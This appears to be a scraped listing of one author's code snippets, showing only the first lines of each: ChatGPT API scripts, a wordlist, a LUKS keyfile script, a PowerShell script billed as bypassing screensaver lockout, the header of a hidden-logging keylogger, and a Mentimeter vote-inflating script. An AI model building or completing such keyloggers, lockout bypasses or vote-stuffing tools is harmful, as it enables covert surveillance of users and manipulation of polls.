This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import os, io | |
from openai import OpenAI | |
from dotenv import load_dotenv | |
load_dotenv() # create .env with OPENAI_API_KEY="Your-chatgpt-api-key begins with sk..." | |
client = OpenAI( | |
# This is the default and can be omitted |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import openai | |
import io | |
# Set your OpenAI API key here | |
openai.api_key = "YOUR-OPENAI-API-KEY" | |
def get_chatgpt_response(question): | |
response = openai.ChatCompletion.create( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import openai | |
import json | |
import io | |
openai.api_key = "YOUR-OPENAI-API-KEY" | |
question = input("\nHacking with AI knowledge... just ask a question on ChatGPT:\n\n") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
aa | |
ab | |
ac | |
ad | |
ae | |
af | |
ag | |
ah | |
ai | |
aj |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
dd if=/dev/urandom of=/boot/grub/map.pc bs=1024 count=4 | |
chmod 0400 /boot/grub/map.pc | |
# d-i quick'n dirty fix for luks with custom specified keyfile in slot 0 | |
echo '0123456789' | cryptsetup luksAddKey /dev/sda5 /boot/grub/map.pc | |
echo '0123456789' | cryptsetup luksRemoveKey /dev/sda5 | |
cryptsetup luksAddKey --key-file /boot/grub/map.pc --key-slot 0 /dev/sda5 /boot/grub/map.pc | |
cryptsetup luksKillSlot --key-file /boot/grub/map.pc /dev/sda5 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# mouse-jiggler.ps1 | |
Powershell Script to bypass Screensaver Lockout Policy with jiggling events | |
.____ .__ | |
| | ____ | | ______ ____ ____ | |
| | / _ \| | / ___// __ \_/ ___\ | |
| |__( <_> ) |__\___ \\ ___/\ \___ | |
|_______ \____/|____/____ >\___ >\___ > | |
\/ \/ \/ \/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
TITLE: Keylogger DE | |
Author: scaery | |
DESCRIPTION: A simple Keylogger with DE Layout (runs in background and logs a hidden lootfile in users home folder) | |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe Keylogger.cs | |
Keylogger.exe |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
"""Antimenti Counter [VIP 2019] by scaery""" | |
import requests | |
import json | |
referer = "https://www.menti.com/ccc99fghnbvc1337" # what u see in the url bar of presentation | |
data = {"question_type": "choices", "vote": "1"} # multiple_choice payload yes no maybe | |
counter = "10" # How often do you wish to count for? 10 25 50 or 100 |